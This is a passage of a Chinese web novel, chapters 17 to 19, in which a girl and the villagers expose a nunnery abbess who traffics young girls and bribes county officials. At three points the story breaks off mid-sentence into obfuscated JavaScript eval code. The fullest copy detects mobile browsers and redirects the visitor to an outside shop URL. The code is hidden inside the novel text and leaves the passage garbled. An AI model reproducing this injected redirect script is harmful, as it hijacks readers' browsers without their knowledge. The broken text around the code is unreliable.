正思忖间,忽听屋内传来响动。床上那人翻了个身,含糊嘟囔:“……什么时辰了?” 水仙姑慵懒的声音响起:“早着呢……再睡会儿……” 许娇娇心头一紧,屏息不动。好在片刻后,鼾声又起。 她退到院中,环顾这座吃人的魔窟。一夜未眠的头脑飞速运转,一个大胆的计策渐渐成型。 水仙姑做的这些勾当,之所以能隐瞒至今,无非依仗庵堂偏僻、官府打点、受害者且都是女子,这些被拐来的女孩子年纪小或者家里无人重视,她们就算想伸冤也无处申冤,可若这屏障同时被打破呢? 若是……有外人大张旗鼓地撞破呢? 若是闹得人尽皆知,连官府都不敢公然包庇呢? 许娇娇眼中闪过一丝锐光。 她转身离开水仙庵,没有回茅屋,而是径直往山下走去。旺财跟在她身后,依旧耳朵警惕地竖着。 许娇娇没有回茅屋,而是径直去了落溪村李婆子家。 到了院门口,她深吸一口气才抬手敲门。门里传来李婆子熟悉的声音:“谁呀?来了来了——” 门吱呀一声开了。李婆子正端着一瓢鸡食,见是许娇娇,愣了一下,随即笑起来:“乖囡?怎么这么早就下山来了?快进来!” 许娇娇跟着她进了院子。几只芦花鸡正在地上啄食,见有人来,扑棱着翅膀躲开。李婆子一边把瓢里的鸡食撒进盆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那是个吃人的地方。”许娇娇咬着嘴唇,把这两日看到的事一五一十说了——静尘被关在石屋,柴房里还藏着两个小姑娘,水仙姑和人贩子勾结,每月都往南边送人…… 她说得又急又快,李婆子听得脸色一阵青一阵白,最后浑身都发起抖来。 “天爷啊……”李婆子瘫坐在凳子上,手捂着胸口,“这、这水仙姑……她怎么敢?那可是菩萨跟前啊!” “阿婆,现在不是怕的时候。”许娇娇蹲在她面前,握住她颤抖的手,“静尘师姐对我有恩,柴房里那两个小姑娘……一个才十岁,一个痴痴傻傻的才八岁。再晚,她们可能就被卖到不知什么地方去了。” 李婆子看着她,眼泪忽然就掉下来了:“可是乖囡……咱们怎么救?咱们一没权二没势,那水仙姑背后还有人……” 所以要找帮手。”许娇娇的眼睛在昏暗里闪着光,“阿婆,您在村里人缘好,认识的人多。能不能……找几个靠得住的叔伯婶子?要胆大心细,嘴巴严实,最好家里也有闺女,最恨这种拐卖孩子的勾当。” 李婆子听完这话,却半天没作声。 她坐在凳子上,手指头无意识地绞着衣角,脸色一阵白一阵青。屋里静得能听见自己的心跳声,咚咚咚地敲着胸口。 不是她不想帮。静尘那孩子她也见过,温温顺顺的一个小尼姑,对娇杏是真好。柴房里那两个不知名的小姑娘……也都是爹娘生养的,遭这种罪,想想就揪心。 可是—— “乖囡啊,”李婆子终于开口,声音都是虚的,“不是阿婆怕事……那水仙姑,能在庵里做这种勾当,背后能没人?万一、万一咱们没救成人,反倒把自个儿搭进去……” 她说着,眼圈又红了:“阿婆老了,死了也就死了。可你也知道我身后还有一大家子人,大郎二郎都还小……还有你,你才多大点?要是出个什么事,阿婆怎么跟你死去的爹娘交代……” 17. 第17章 机智的李阿婆 许娇娇没说话,只是静静看着她。 李婆子避开她的目光,低头盯着自己的鞋尖。那双布鞋还是金桂前年给她做的,鞋底纳得密密实实,鞋面却已经磨得起了毛。 她想起金桂躺在床上疼得直哭的样子,想起二根为了抓药,寒冬腊月还进山打猎,手上冻得全是裂口。好不容易日子有点盼头了,要是再出点事…… 可转念一想,静尘对娇杏的好,她是亲眼见过的。那孩子自己都吃不饱,还省下口粮往山上送。还有柴房里那两个女娃,才那么点大…… 再说了娇杏对金桂有恩,要不是那个药方,还有许大夫……李婆子的手越绞越紧,指甲都掐进了掌心。 半晌,她猛地抬起头。 “罢了!”她像是用尽了全身力气,声音都在发颤,“阿婆……阿婆帮你!” 这话说出来,她自己都吓了一跳,可心里那块大石头,反倒落下了。 “村东头的张婶子,”她掰着手指头,一个个数起来,“男人死得早,自己拉扯闺女长大,最见不得欺负女人孩子的事。西头的王寡妇,泼辣是泼辣,可心肠热,嗓门全村最大,有事她真敢上。还有村口的陈老爹……” 她一连说了七八个人名,都是村里有威望、又吃过亏的。说到后来,声音也不抖了,眼神也坚定了。 “至于耆老那边……”李婆子说到这儿,话头却顿住了,眉头拧成了疙瘩。 她犹豫了半晌,心里暗暗思忖:村里的老耆去年冬天就病得起不来床了,如今族里的事,听说都是他那个在归平县衙当官的侄子张三郎在代管。这张三郎……为人最是圆滑,万事求个稳当,跟衙门里那些差役老爷们走得近。这事儿要是让他知道了,保不准转头就报给县衙——万一县衙里真有水仙姑的人,岂不是打草惊蛇? 再说了,耆老如今说话也不管用了。他那侄子一心想接位子,巴不得多立些稳妥的功劳。这种救人的险事,他未必肯出头,说不定还要拦着,怕惹祸上身。 李婆子咬了咬牙:“罢了,耆老那里先不声张。等事情办成了,再说也不迟。” 可她转念一想,又觉得不妥。不跟耆老说是一回事,但村里突然聚起这么多人,总得有个由头,不能让人起了疑心。 “这样,”她压低声音对许娇娇道,“一会儿我去叫人,就说……说你要在山里盖个正经的药材棚子,想请几位叔伯婶子帮忙掌掌眼、出出力气。他们都是实诚人,一听是你的事,准来。等人齐了,咱们再关起门来说实话。” 她顿了顿,又叮嘱:“只是这事……到底冒险。等人来了,我得跟他们交代清楚——愿意帮的,咱们一块儿使劲;心里怕的,也不勉强,但嘴巴必须严实,出了这个门,一个字都不能往外漏。” 许娇娇点点头:“阿婆想得周到。” 李婆子叹了口气,伸手摸了摸她的头:“乖囡,阿婆知道你是好心。可这世道……咱们小门小户的,做事不能不多个心眼。你记着,一会儿不管谁来,你都别急着全盘托出,先看阿婆眼色。” 说罢,她整整衣裳,推门走了出去。 李婆子走出门几步,忽然又折返回来,脸色变得凝重。 “不对……”她站在门口,手扶着门框,回头看着屋里的许娇娇,“乖囡,这事……你不能出面。” 许娇娇一愣。 李婆子走回来,重新关上门,压低声音:“你忘了?村里那些人……当初是怎么逼你走的?他们都说你命硬克亲,是恶鬼转世。虽说这几年没人提了,可要是让他们知道是你在牵头救人——” 她没说完,但许娇娇已经明白了。 是了。她现在是娇杏,是那个被全村人赶出村子的祸害。当初那些指指点点的目光、那些砸在身上的石子、那些克死爹娘的恶毒话语……虽然这几年来,她聋哑病好了,且还会治病救人。村里人似乎渐渐淡忘了她的过去,可一旦她重新出现在众人眼前,还是以这种方式—— “他们会信你吗?”李婆子声音发苦,“这几年你治病救人,积攒了多少好名声。可架不住有些坏心眼的人使坏。只怕不但不帮,还会坏事,还要重提旧事,或说你是妖孽作祟,想害更多人。到那时,别说救静尘了,恐怕连你自己都……” 她说不下去了,只是紧紧握住许娇娇的手。 许娇娇沉默片刻,点了点头:“阿婆说得对。我不能露面。” “那这些人……”李婆子犯了难,“我若说是你要救人,他们肯定不信。可若不说实话,又怎么能让他们真心帮忙?” 两人在昏暗的屋里对坐着,一时间谁也没说话。 院外传来几声鸡叫,远处有孩童的嬉闹声。这寻常的村落晨景,此刻却显得格外讽刺——她们要救的人就在山上,可山下的人,却未必愿意伸手。 许娇娇忽然抬起头:“阿婆,您就说……是静尘的前师父,了尘师父托梦给您。” “托梦?” “对。”许娇娇思路渐渐清晰,“您就说,昨夜梦见了尘师父,一身是血,哭着求您救救静尘。醒来后心里不安,又想起平日里听人嘀咕,说水月庵好像不太平……这才想找几个人一起去看看。” 李婆子眼睛一亮:“这个说法好!了尘师父那是多好的人,前些年村里家家都受过她的恩惠,可惜一病没了。静尘那孩子,村里不少人都认得,知道她是个老实的。说了尘师父托梦……乡下人最信这个!” “还有,”许娇娇补充道,“您别提我。就说您心里害怕,一个人不敢去,才想找几个伴儿。至于柴房里那两个女娃的事……先别说,等到了庵里,让她们自己发现。” 李婆子重重点头:“我晓得了。等会儿我去叫人,就照这个说。只是……” 她看着许娇娇:“你不能去,那到时候怎么办?” “我在暗处。”许娇娇低声道,“等你们上山了,我绕小路提前到庵外等着。旺财鼻子灵,能帮我望风。若有什么变故,我也好接应。” 李婆子还想说什么,许娇娇却已经站起身:“阿婆,时间不多了。您快去叫人,我这就回山准备。” “可是乖囡——” “阿婆放心。”许娇娇握住她的手,那双属于九岁孩童的手,此刻却坚定有力,“我有分寸。” 李婆子看着她,眼眶又热了。这孩子……明明才这么点大,却要承担这么多。 她最终什么也没说,只是用力点了点头。 许娇娇悄悄从后门离开了李家。晨光里,她小小的身影很快消失在村巷尽头。 而李婆子站在院里,深深吸了几口气,拍了拍衣裳上的灰,这才朝着村东头走去。 她的脚步依然稳当,心里却沉甸甸的。 这一去,不知会是什么结果。可她知道,有些事,不能因为怕就不做。 就像当年许大郎救了她当家的命一样——有些恩,得还;有些人,得救。 她挺直了腰杆,敲响了张婶子家的门。 第二日,天还没亮透,村里就闹腾起来了。 最先响起来的是张婶子那破锣嗓子:“作孽哟!我昨儿夜里梦见死去的了尘师父了,一身是血地跪在菩萨跟前哭!我问她怎么了,她说她的徒弟静尘有难了,让我设法搭救。一早醒来,我这心口就一直跳,跳得我哟……” 她拍着胸口站在自家门口,声音大得半个村都能听见。几个早起的妇人围过去,七嘴八舌地问怎么回事。 “还能怎么回事?”王寡妇挎着个篮子从西头过来,一脸煞有介事,“我昨儿也梦见庵堂上头黑云压顶的!一早儿我这心里也不得劲。” “李婆子昨日说她也梦见了尘师父和静尘那个小尼姑,我还不相信。可巧昨晚,我也梦到了庵堂。” “哟!你们这一个二个的都做梦梦到庵堂,这可不是好事,莫非庵里真有甚不妥?”有妇人插话。 ”怕是庵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李婆子忙上前,把事情又说了一遍。赵秀才听完,捋着那几根稀疏的胡子沉吟:“佛门清净地,若真有龌龊,确实不该。只是……无凭无据的,这般兴师动众,怕是不妥。” “所以才要去看啊!”张婶子急道,“赵先生您读书明理,跟咱们一块儿去,要真没事,您给作个证;要有事,您给主持公道!” 这话说到了赵秀才心坎上。他清清嗓子:“既然如此,赵某便随诸位走一趟。只是切记,不可鲁莽,一切依理依法。” 一行人就这么浩浩荡荡出了村。李婆子走在最前头,心里扑通扑通直跳。她偷偷往后山方向瞥了一眼——也不知道娇杏那孩子,现在怎么样了。 水月庵还沉浸在清晨的静谧中。 庵门紧闭,连早课的钟声都没敲。众人走到门前,王寡妇上前“哐哐”砸门:“开门!上香来了!” 里头一点动静都没有。 “怪了,”张婶子嘀咕,“往日这时辰,早该开门了。” 赵秀才示意众人安静,自己上前叩门:“庵主可在?落溪村赵某携乡亲前来上香,还请行个方便。” 还是没动静。 陈老爹急了,拐杖在地上重重一顿:“砸开!我孙子说不定就在里头!” “不可不可!”赵秀才连忙拦着,“破门而入,于理不合……” 他话还没说完,庵墙那头的缺口处忽然蹿出个黑影——是旺财。小黑狗冲着人群“汪汪”叫了两声,又扭头往庵里跑,跑几步回头看看,像是在带路。 “这狗……”有人认出来了,“这不是山上那孤女——娇杏养的狗吗?怎么跑这儿来了?” 李婆子心头一紧,知道这是娇杏在示意。她立刻道:“连狗都急成这样,里头肯定有事!咱们从这儿进去看看!” 说着,她带头从那缺口钻了进去。众人见状,也顾不上许多了,一个接一个跟进去。 18. 第18章 水仙姑被捕 庵里静得吓人。 观音殿的门虚掩着,香案上积着灰。院子里落叶也没扫,完全不像平日洒扫干净的模样。 “水仙姑?水仙姑在吗?”张婶子扯着嗓子喊。 还是没人应。 这时,后院忽然传来“哐当”一声脆响,像是瓷器摔碎的声音。众人对视一眼,齐齐往后院涌去。 刚过月亮门,就看见令人瞠目结舌的一幕—— 水仙姑的房门大敞着,屋里一片狼藉。水仙姑衣衫不整地站在床边,脸上脂粉未卸,头发散乱。她身边站着个男人,正是昨日许娇娇看见的那个,此刻正手忙脚乱地系着衣带。 “你、你们……”水仙姑脸色煞白,话都说不利索了。 那男人见这么多人涌进来,吓得魂飞魄散,推开后窗就要跳。王寡妇眼疾手快,抄起门边的扫帚就砸过去:“想跑?!” 男人被砸了个趔趄,也顾不上疼了,连滚带爬翻出窗子,眨眼就消失在竹林里。 “追!”几个年轻后生就要去追。 “别追了!”赵秀才喝道,“先把眼前的事弄清楚!” 他铁青着脸走到水仙姑面前,气得胡子都在抖:“你、你身为庵主,竟在佛门清净地行此苟且之事!成何体统!成何体统!” 水仙姑这会儿反倒镇定了些,拢了拢衣裳,冷笑:“赵秀才这话说的,我这儿是庵堂,可也没规定不能有香客留宿。方才那位是城里的善信,昨夜天晚回不去,借宿一宿罢了。” “借宿?”张婶子啐了一口,“借宿借到一张床上去了?你当我们是瞎子?” “就是!出家人穿绸缎衫,戴金镯子,你这是修的哪门子行?” “我闺女呢?我闺女前年送你这儿来,你说她还俗嫁人了,嫁哪儿去了?” 众人七嘴八舌,水仙姑被问得步步后退,脸上终于露出慌乱。 这时,柴房那头忽然传来弱弱的哭声。陈老爹耳朵尖,拄着拐杖就往那边走:“什么声音?” 水仙姑脸色大变:“不能去!那是、那是……” 已经晚了。王寡妇一把推开柴房门—— 里头蜷着两个小姑娘,大的不过十岁,小的才七八岁模样,都瘦得皮包骨头,身上就裹着层破单衣,冻得瑟瑟发抖。地上扔着半个硬窝头,馊了也没人收。 “天杀的!”张婶子一见就哭了,冲进去抱住那个小的,“这、这不是邻村刘家的傻丫头吗?她娘还说送她来庵里享福……” 大的那个抬起泪眼,声音细得像蚊子:“婶子……救救我们……庵主说,过几日就把我们卖到北边去……” 这话像炸雷一样在人群里炸开。 “卖人?你还卖人?!”“我说我表妹的闺女怎么没音讯了!原来是被你卖了!”“报官!必须报官!” 水仙姑见事情败露,转身就想跑,被几个妇人一把揪住。她挣扎着喊:“你们敢动我?县衙里可有我的人!你们……” “啪!”王寡妇一巴掌扇在她脸上,“我管你县衙里是谁!今天就是天王老子来了,也救不了你!” 赵秀才气得浑身发抖,指着水仙姑:“你、你简直丧尽天良!借佛门之地,行禽兽之事!赵某今日就算拼了这身功名,也要告你个底朝天!” 他转身对众人道:“谁腿脚快,速去县城报官!就说水月庵庵主不但偷人还拐卖人口、玷污佛门,请县尊大人即刻派人来查!” “我去!”一个年轻后生拔腿就跑。 水仙姑瘫坐在地上,面如死灰。 而此刻,后山的石屋前,许娇娇正用从李婆子那里拿来的钥匙,颤抖着手打开那把铜锁。 “师姐,”她推开门,声音轻得像叹息,“没事了。” 静尘从干草堆上抬起头,阳光从门外照进来,刺得她睁不开眼。可那光真暖和啊,暖和得让人想哭。 山下,庵堂里的喧嚣还在继续。而山上,两个身影紧紧相拥,在晨光里静默默无言。 报官的后生叫栓子,是陈老爹的远房侄孙,今年十六,腿脚却快得像阵风。他没走官道,而是抄了山民打柴踩出来的近路,一路连奔带跑,不到两个时辰就冲进了归平县城。 县衙门口,两个公人正靠在石狮子边上打哈欠。栓子气喘吁吁扑过去,话都说不利索了:“差、差爷!出、出大事了!水月庵……水月庵的姑子拐卖人口,还、还养汉子!” 两个公人对视一眼,其中一个瘦高个儿的嗤笑一声,慢悠悠站直身子:“小子,饭可以乱吃,话可不能乱说。水月庵的师父们,那可都是修功德、有体面的人。咱们县里谁不知道,她们年年施粥赠药,帮衬着王大官人做善事,连明府夫人都常去庵里上香祈福。” 他上下打量栓子满是补丁的衣裳,眼神里透出几分轻蔑:“你是什么人?红口白牙就敢攀诬出家人?莫不是想讹诈香火钱想疯了,跑这儿来胡吣?” 旁边那个矮胖的公人也凑过来,叉着腰帮腔:“就是!再在这儿胡咧咧,搅扰衙门清净,小心锁你进去吃几天牢饭,醒醒脑子!”每月还给咱们老爷送香油钱呢。” “是真的!”栓子急得满头大汗,衣领子都湿透了,“村里好几十号人都看见了!庵主屋里藏着男人,柴房里还关着两个小囡,说是要卖到北边去!赵秀才也在,赵秀才让来报官!” 一听“赵秀才”三个字,两个差役脸上的懒散瞬间收了起来。赵秀才是正经读过书的童生,在乡里素有清名,他的话,可不是寻常百姓能比的。 瘦高个儿眯眼盯着栓子看了片刻,对同伴使了个眼色:“你看住他。”转身便快步进了衙门。 约莫一炷香工夫,侧门里传来脚步声。瘦高个儿出来了,身后跟着三个精干公人,领头的是个黑脸膛、身形健硕的都头,腰间挎着铁尺,正是县衙里专管缉捕的孙都头。 孙都头走到栓子跟前,目光如刀子般在他脸上刮过:“赵秀才眼下在何处?你说的那些话,若有半句虚言,衙门里的板子可不长眼,知道么?” 栓子被他看得腿肚子发软,却强撑着挺直背:“都头明鉴!赵秀才带着乡亲们守在水月庵外头,怕里头的人跑了!小子说的句句属实,若有半句假话,到叫那天打雷劈了!” 孙都头盯着他看了两息,猛地一挥手:“带路!” 一行五人出了城,脚步匆匆,直奔东郊的水月庵而去。晌午刚过不多时。 水月庵里闹哄哄的,十分热闹。几十号村民把庵堂前后围得水泄不通,水仙姑被几个妇人扭着,头发散了,衣裳也扯破了,脸上还有个红红的巴掌印。 几个村妇正指指点点,有几个村里的泼皮破落户揣着袖子,带着一脸看热闹不嫌事大的笑。 赵秀才搬了把椅子坐在院中,面前摆着张破桌子,上头摊着纸笔。他正一条条记录村民的证词: “大前年七月初三,我把囡囡送到庵里,说是修行三年。去年我来问,水仙姑说她跟个货郎跑了,再没音讯。” “我表姐家的外甥女,送来时才十二,后来就说病死了,连尸首都没见着。” “我亲眼看见过,夜里有人赶着马车来,往庵里搬箱子。问是什么,水仙姑说是善信捐的米面……” 每记一条,赵秀才的脸就黑一分。等他记到第七八条时,笔都快捏断了。 水仙姑起初还嘴硬,后来见证据越来越多,索性闭了眼,一声不吭。 正乱着,外头传来喝声:“让开!官差办案!” 人群听到声音,急忙分开两边。孙都头带着四个公人走了进来。他环视一圈,目光落在赵秀才身上:“赵先生,怎么回事?” 赵秀才起身行礼,将事情原委说了一遍,又把记下的证词递过去。 孙都头越看眉头皱得越紧。他走到柴房门口,往里看了一眼——那两个小姑娘还蜷在墙角,王寡妇正端了碗热水喂她们。 “庵主何在?”孙都头沉声问。 水仙姑被推上前。她这会儿反倒冷静了,理了理鬓发,开口道:“孙都头,这都是误会。这两个丫头是家里人送来的,说是养不活了,托我照看。至于那些证词……” 她冷笑一声:“乡野村妇,嚼舌根子的话也能信?赵秀才,你好歹是个读书人,就由着她们污蔑出家人?” 赵秀才气得胡子直抖:“人证物证俱在,你还敢狡辩?” “人证?”水仙姑斜眼扫过众人,“都是些跟我有过节的。物证呢?你说我拐卖,卖身契呢?你说我养汉子,汉子呢?” 这话问得众人一窒。是啊,那男人跑了,卖身契也没找着。 孙班头沉吟片刻:“既如此,便请庵主随我等回衙门一趟。若真清白,明府大人自有公断。” “我不去。”水仙姑昂着头,“我一个妇道人家,进了公门,名声还要不要?孙都头,您行行好,就在这儿问。该说的我都说。” 她说着,瞅准机会趁大家不注意,悄悄往孙都头手里塞了个东西。孙都头手指一捻,是块硬硬的、冰凉的是银子。 孙都头面不改色,将银子揣进袖里,语气却缓了些:“庵主说得也有理。这样,赵先生,您把证词给我,我带回去呈给明府。至于庵主……暂且留在庵中,不得外出,等明府定夺。” “这怎么行!”张婶子第一个跳出来,“她要是跑了怎么办?” “就是!都头,您可不能偏心!” 孙都头脸一沉:“官府办案,自有章法!尔等再敢喧哗,以扰乱公务论处! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222029|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 众人被他这么一喝,都噤了声。乡下人到底怕官。 赵秀才却不怕。他上前一步,正色道:“孙都头,此案关系数条人命,岂能如此草率?依学生看,当立即搜查庵堂,寻找更多证据。再者,庵主必须羁押,以防串供或逃匿。” “赵先生,”孙都头皮笑肉不笑,“您是读书人,不懂我们办案的规矩。没有真凭实据,怎能随便搜庵?至于羁押……总要等明府发了话。” 两人正僵持着,后山方向忽然传来喊声:“找到了!找到了!” 众人回头,只见栓子搀着静尘,许娇娇跟在后面,三人从后山小径走了下来。静尘脸色苍白,脚步虚浮,但神色却带着破釜成舟的决绝。 她走到院中,对着孙都头深深一礼:“官爷,贫尼静尘,原是这庵中弟子。贫尼可以作证——水仙姑确与外人勾结,拐卖女子。后山石屋里,还关过不知多少人。柴房那两个孩子,只是其中之二。” 水仙姑看见静尘,眼珠子都要瞪出来了:“你、你个贱人,胡说什么?!” “贫尼没有胡说。”静尘从怀中掏出一个小布包,层层打开,里头是几页泛黄的纸,“这是贫尼这些年偷偷记下的——某年某月,送来几个女孩;某年某月,送走几个。虽不全,也能看出些端倪。” 她又指向佛龛:“那里有暗格,水仙姑的账本、书信,都藏在里面。” 孙都头脸色变了。他盯着那几页纸,又看看佛龛,终于挥手:“搜!” 几个衙役上前,在佛龛上摸索片刻,果然找到机关。暗格弹开,里头整整齐齐码着账册、书信,还有一沓卖身契。 孙都头拿起一本账册翻看,越看脸色越青。上头清清楚楚记着:某年某月,收女孩几名,价几何;某年某月,送往某地,得银多少。最后头还记着打点官府的花销——某某公人多少,某押司多少,连明府大人也赫然在列! “好、好得很!”孙都头将账册重重摔在地上,指着水仙姑,“给我拿下!” 水仙姑腿一软,瘫倒在地。 两个公人上前给她上了枷锁。她忽然挣扎起来,嘶声道:“孙都头!孙都头你不能这样!宋大人那里……那里我每月都有孝敬!你不能……” “闭嘴!”孙都头厉喝,“再敢胡言,罪加一等!” 他使了个眼色,一个公人急忙掏出块破布,塞进水仙姑嘴里。 院子里一片寂静。 所有人都听到了水仙姑的话,但大家都自行选择遗忘——这样涉及明府宋大人的阴私之事,给他们几个胆子,也不敢置喙。 众人面面相觑。 赵秀才刚要说些什么,却被王寡妇拉了一把。 “赵秀才,既然孙都头已将水仙姑羁押,那就没我们的事了,”她一边说一边给赵秀才使眼色。 赵秀才愣了愣,心里一阵愤愤,可终究还是忍气吞声地咽下脱口欲出的话。 水仙姑像条死狗一样被公人拖起来,押着往外走。 走到门口时,她忽然回头,目光在人群里扫过,最后落在许娇娇和静尘身上。那眼神毒得像蛇,淬着恨,淬着怨。 许娇娇挺直脊背,迎上她的目光,毫不退缩。 水仙姑被押走了。孙都头将账册、书信、卖身契一一收好,又对赵秀才拱手:“赵先生,今日多亏您主持大局。这些证物,孙某带回衙门,定当如实呈报。” 赵秀才还礼:“有劳都头。” 孙都头又看向众人声音严厉,”凡是庵里的尼姑,都要随我们走一趟,录口供,你,说着伸手指向静尘:“你也随我们走一趟,做个证。” 静尘点头:“贫尼理应如此。” 许娇娇上前一步,目光澄澈注视着孙都头,她想开口说话,忽然想起来这里都是原先那些对她有偏见的村民,她若贸然开口,恐怕不但帮不了静尘,反而会因此连累她。 “大胆,”孙都头见是个怯生生的小娘子上前来拦着他,便脸色一沉,声若洪钟:“你一个小娘子快闪开!休要妨碍官府办案!” “大人息怒,”李婆子见许娇娇出面,急忙上前将她拉过来,对着孙都头陪笑,“她不懂事,大人勿怪。” 静尘转身,轻轻抱了抱许娇娇,在她耳边低语:“小施主,不要担心,我走了,你多保重。” 许娇娇眼圈红了,用力拉着她,想要阻拦。可官府办差,她一个小娘子有什么办法?她也听到了水仙姑的攀咬——如若县令大人是清白的,水仙姑绝对不敢说出那样的话。 这世道。 她强忍着没哭,只是小声道:“静尘师姐,你要小心。” 一行人浩浩荡荡离开了水仙庵。村民们在后头跟着,一直送到山口才停下。 19. 第19章 后续 日头偏西,将山峦染成一片金黄。 张婶子抹着眼泪:“总算是……总算是除了这一害。” 王寡妇却啐了一口:“除什么除?那账本上可写着呢,县衙里多少人收了她的钱!这事儿,没完!” 赵秀才叹了口气:“王娘子说得对。此事……怕只是开始。” 众人沉默下来。 是啊,水仙姑是抓了,可她背后的那些人呢?那些收了钱的公人、押司,甚至县令……他们会善罢甘休吗? 许娇娇站在人群后,望着渐渐暗下来的天色。 她知道,王寡妇说得对。这事,没完。 可至少今天,她们救下了静尘,救下了柴房里那两个女孩。 只是静尘跟着孙都头去做笔录,栓子也跟着去了,应该会没事的吧! 至于往后…… 她握紧拳头。 兵来将挡,水来土掩。她既然来了这世道,就没想过要躲。 日头斜斜地挂在山脊上,将人的影子拉得老长。村民见水仙姑被带走了,没热闹可看,便慢慢往回走,嘴里还在议论着今日的事,可声音都压得低低的,像是怕被谁听了去。 李婆子走在最后,回头看了许娇娇一眼,欲言又止。最后还是只叹了口气,悄声道:“乖囡,天不早了,你也早些回山上去。夜里关好门,知道吗?” 许娇娇点点头,低声回她:“阿婆放心。” “等过几日,阿婆再去看你。”李婆子又叮嘱了几句,这才跟着人群往村里去。 山道上很快就空了。只剩下许娇娇一个人站在庵门前,看着那两扇紧闭的大门——门上已经贴了封条,红纸黑字,盖着县衙的大印,在暮色里格外刺眼。 她站了一会儿,转身往山上走。旺财紧紧跟在她后面,它似乎也察觉到不对劲,比往日要安静。 回到茅屋时,天已经黑透了。旺财摇着尾巴在她腿边打转。许娇娇摸了摸它的头,进屋点了灯。 火光亮起来的刹那,她忽然觉得这屋子空得厉害。 从前不觉得,可今日经历了这么一场惊心动魄,此刻静下来,才发觉心里某个地方缺了一块——静尘师姐不在,这山里,又只剩她一个人了。 她简单做了点吃的,却没什么胃口。端着碗坐在门槛上,望着黑漆漆的山林发呆。 忽然,她光顾着救静尘,却忘了水仙姑的帮凶静非和那两个婆子了,今日就没见她们的踪影,不会是跑了吧!那个静非一看就不是个省油的灯,是个奸猾狡诈之辈,水仙姑被抓,那个府衙的都头说要羁押水月庵的众尼姑,可最后只拿了水仙姑和静尘。对了还有那个小尼姑静心呢? 许娇娇想到这里,心里有些着急,这天寒地冻的,水月庵被官府查封,她能去哪里? 第二日,许娇娇天没亮就醒了。 她打水洗漱,生火做饭,一切如常,却总忍不住朝山下那条小路张望。这一日从早到晚她一直坐在门口等着,可静尘一直没有消息。 日子一天天过去,山下始终没有那个熟悉的身影。她数着墙上的刻痕,从一道添到十几道,心里的石头也一日沉过一日。夜里起风,她会惊醒;白日鸟雀惊飞,她也要到门边瞧一眼。直到那些晒在笸箩里的草药,换了三茬。 到了第十三日晌午,山道上终于有了动静。 许娇娇正在院里翻晒新采的茯苓,听见熟悉的脚步声由远及近,心猛地一提。她抬头望去,手中的簸箕“哐当”一声掉在地上,茯苓滚了一地。 栓子风尘仆仆地走在前头,而他身后那个穿着粗布衣裳、消瘦却眉眼清晰的女子,不是静尘是谁? “静尘师姐!”许娇娇的喉咙像被什么哽住,喊出的声音带着颤。她什么也顾不上了,冲过去一把抱住静尘,力道大得让两人都晃了晃。鼻尖是熟悉的、混合着皂角与草药的气息,只是又多了一丝牢狱里阴冷的潮气。 静尘也红了眼眶,手指微微发颤,轻轻拍着她的背,声音沙哑却柔和:“没事了,小施主……没事了,我回来了。” 栓子在旁边憨厚地咧嘴笑,露出一口白牙:“赵秀才使了银子,又托了县衙里熟悉的押司说情,昨儿夜里就把人保出来了。衙门那边说,该问的都问完了,没什么大碍,就让领回来了。”他说着搓了搓粗糙的手掌,脸上笑意更深,“既然静尘师父平安到了,那我就赶紧回去给赵秀才报个信,好让他放心。” 他转身欲走,又像想起什么,挠挠头,压低声音对许娇娇道:“娇杏,你会治病救人事如今都传遍了。那天你在李家阿婆屋里,和我阿婆说话,我都听见了。”他嘿嘿笑了两声,眼神诚恳,“你放心,我栓子不是多嘴的人,这事烂在肚子里。我走了,你们……好生歇着,万事小心。” 说完,也不等许娇娇反应,这急性子的少年便像来时一样,转身“噔噔噔”地跑远了。 许娇娇望着他的背影消失在院门外,愣了半晌,才哭笑不得地摇摇头。这栓子…… 她这才松开静尘,退后半步,借着明亮的日光细细打量——脸色虽然仍是失血的苍白,眼下也带着青影,但那双眼睛已不再死寂,有了些微弱的神采。身上那件半旧的粗布衣裳如今皱巴巴的,显然是在牢房里压出来的。 “那些官差……”许娇娇握住她冰凉的手,声音压得极低,带着后怕的余悸,“这十几日……他们可曾为难你?” 静尘摇摇头:“就是问话。问水仙姑的事,问那些被拐的女孩……我都照实说了。孙都头起初还想扣着我,说是要等宋大人发落。后来赵秀才找了人,这才放我出来。” 她顿了顿,声音低下去:“只是……水仙姑的案子,怕是没那么简单。我听见公人们私下议论,说这案子牵扯太大,怕是要压下去。” 许娇娇心里一沉。果然。 “先进屋吧。”她拉着静尘往屋里走,“师姐以后就住这儿,咱们作伴。” 静尘却犹豫了:“这怎么行?我一个出家人,怎能……” “什么出家人不出家人?”许娇娇打断她,“水月庵都没了,你还出什么家?再说了,这山里就咱们两个人,互相照应不是应该的?” 静尘看着她认真的小脸,心头一暖,终于点了点头。 两人刚进屋收拾,外头的旺财忽然“汪汪”叫了起来。 许娇娇忙提起一把柴刀出去看,却见院墙根下蜷着个小小的人影,竟然是那个水月庵的静心。 小尼姑抱着膝盖蹲在那儿,头埋得低低的,听见脚步声,怯生生地抬起头。一张脸瘦得只剩巴掌大,眼睛红肿得像桃子。 “静心?”许娇娇愣了愣,“你怎么在这儿?” “我……我没地方去。”静心的声音小得像蚊子,“庵堂被封了,大家都散了。那两个婆子和静非听到消息早就收拾东西跑了。庵里其他师姐……也早就被师父卖掉了,就剩我一个人……” 